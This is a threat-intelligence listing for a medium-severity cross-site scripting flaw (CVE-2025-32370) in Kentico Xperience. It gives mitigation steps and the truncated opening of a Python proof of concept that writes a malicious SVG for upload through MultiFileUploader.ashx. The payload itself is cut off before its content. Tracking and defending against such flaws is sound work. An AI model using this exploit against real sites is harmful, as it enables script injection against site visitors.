Skip to main content
ExploitPublished

Kentico Xperience 13.0.178 · Cross Site Scripting (XSS)

Source Exploit-DB RSS Feed

0

Mentioned vulnerabilities

Severity
Medium

Rated by Threat Radar

Data as of 11 Jun 2025, 21:13 UTC

What to do

AI-suggested

  1. Immediate upgrade to the latest Kentico Xperience version where this vulnerability is patched. If an official patch is not yet available, contact Kentico support for guidance or apply vendor-recommended workarounds.
  2. Implement strict server-side validation and sanitization of uploaded files, especially SVG content, to prevent embedded scripts from executing.
  3. Restrict file upload types and enforce content-type validation to disallow SVG or other potentially dangerous file formats unless absolutely necessary.
  4. Employ Content Security Policy (CSP) headers to restrict the execution of inline scripts and reduce the impact of XSS attacks.
  5. Use Web Application Firewalls (WAF) with rules tuned to detect and block malicious upload attempts and suspicious SVG payloads.
  6. Monitor web server logs for unusual POST requests to the MultiFileUploader.ashx endpoint and investigate any anomalies.
  7. Educate developers and administrators about secure file upload handling and XSS prevention best practices.
  8. Consider disabling or restricting the vulnerable upload endpoint if it is not essential for business operations until a patch is applied.

Description

Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)

Indicators of compromise

Exploit source code

Exploit code for Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)2,296 characters
# Exploit Title: Kentico Xperience 13.0.178 - Cross Site Scripting (XSS)
# Date: 2025-05-09
# Version: Kentico Xperience before 13.0.178
# Exploit Author: Alex Messham
# Contact: ramessham@gmail.com
# Source: https://github.com/xirtam2669/Kentico-Xperience-before-13.0.178---XSS-POC/
# CVE: CVE-2025-32370

import requests
import subprocess
import os
import argparse

def create_svg_payload(svg_filename: str):
    print(f"[*] Writing malicious SVG to: {svg_filename}")
    svg_payload = '''<?xml ver…

References

Community reviews

Loading reviews…